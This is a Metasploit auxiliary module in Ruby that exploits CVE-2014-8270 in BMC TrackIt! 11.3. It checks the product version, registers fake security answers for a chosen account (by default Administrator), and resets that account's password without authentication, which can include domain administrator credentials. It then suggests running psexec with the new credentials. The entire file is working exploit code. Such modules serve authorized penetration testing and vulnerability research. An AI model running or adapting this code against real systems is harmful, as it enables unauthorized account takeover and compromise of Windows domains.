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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Report
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Scanner
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  def initialize(info = {})
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    super(update_info(
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      info,
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      'Name'           => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change',
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      'Description'    => %q(
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      This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3
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      and possibly prior versions. If the password reset service is configured to use
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      a domain administrator (which is the recommended configuration), then domain
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      credentials can be reset (such as domain Administrator).
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      ),
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      'References'     =>
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        [
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          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-14-419/'],
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          ['CVE', '2014-8270']
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        ],
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      'Author'         =>
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        [
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          'bperry', # discovery/metasploit module,
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          'jhart'
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        ],
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      'License'        => MSF_LICENSE,
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      'DisclosureDate' => '2014-12-09'
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    ))
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),
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        OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']),
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        OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),
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        OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])
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      ])
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  end
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  def localuser
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    datastore['LOCALUSER']
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  end
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  def password_reset
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    begin
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      uri = normalize_uri(target_uri.path, 'PasswordReset')
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      send_request_cgi('uri' => uri)
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    rescue => e
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      vprint_error("#{peer}: unable to request #{uri}: #{e}")
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      nil
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    end
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  end
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  def check_host(ip)
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    vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")
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    unless (res = password_reset)
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      return
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    end
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    if res.body =~ /<title>Track-It! Password Reset/i
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      version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first
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      if version
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        fix_version = '11.4'
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        if Rex::Version.new(version) < Rex::Version.new(fix_version)
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          report_vuln(
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            host: ip,
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            port: rport,
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            name: name,
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            info: "Module #{fullname} detected Track-It! version #{version}",
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            refs: references
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          )
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          vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")
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          return Exploit::CheckCode::Vulnerable
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        else
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          vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")
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          return Exploit::CheckCode::Safe
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        end
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      else
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        vprint_error("#{peer}: unable to get Track-It! version")
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        return Exploit::CheckCode::Unknown
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      end
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    else
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      vprint_status("#{peer}: does not appear to be running Track-It!")
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def run_host(ip)
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    return unless check_host(ip) == Exploit::CheckCode::Vulnerable
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    if datastore['DOMAIN'].blank?
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      vprint_status("#{peer}: retrieving session cookie and domain name")
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    else
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      vprint_status("#{peer}: retrieving domain name")
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    end
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    unless (res = password_reset)
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      return
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    end
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    cookies = res.get_cookies
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    if datastore['DOMAIN'].blank?
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      if res.body =~ /"domainName":"([^"]*)"/
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        domain = Regexp.last_match(1)
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        vprint_status("#{peer}: found domain name: #{domain}")
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      else
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        print_error("#{peer}: unable to obtain domain name.  Try specifying DOMAIN")
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        return
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      end
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    else
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      domain = datastore['DOMAIN']
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    end
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    full_user = "#{domain}\\#{localuser}"
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    vprint_status("#{peer}: registering #{full_user}")
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    answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
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      'method' => 'POST',
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      'cookie' => cookies,
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      'vars_post' => {
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        'domainname' => domain,
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        'userName' => localuser,
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        'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
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        'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
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        'updatequesChk' => 'false',
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        'SelectedQuestion' => 2,
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        'answer' => answers.last,
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        'confirmanswer' => answers.last
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      }
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    )
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    if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"
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      print_error("#{peer}: Could not register #{full_user}")
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      return
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    end
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    vprint_status("#{peer}: changing password for #{full_user}")
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    if datastore['LOCALPASS'].blank?
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      password = Rex::Text.rand_text_alpha(10) + "!1"
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    else
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      password = datastore['LOCALPASS']
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    end
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),
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      'method' => 'POST',
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      'cookie' => cookies,
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      'vars_post' => {
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        'newPassword' => password,
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        'domain' => domain,
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        'UserName' => localuser,
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        'CkbResetpassword' => 'true'
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      }
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    )
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    if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'
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      print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")
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      return
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    end
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    report_vuln(
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      host: ip,
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      port: rport,
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      name: name,
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      info: "Module #{fullname} changed #{full_user}'s password to #{password}",
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      refs: references
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    )
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    print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")
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  end
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end
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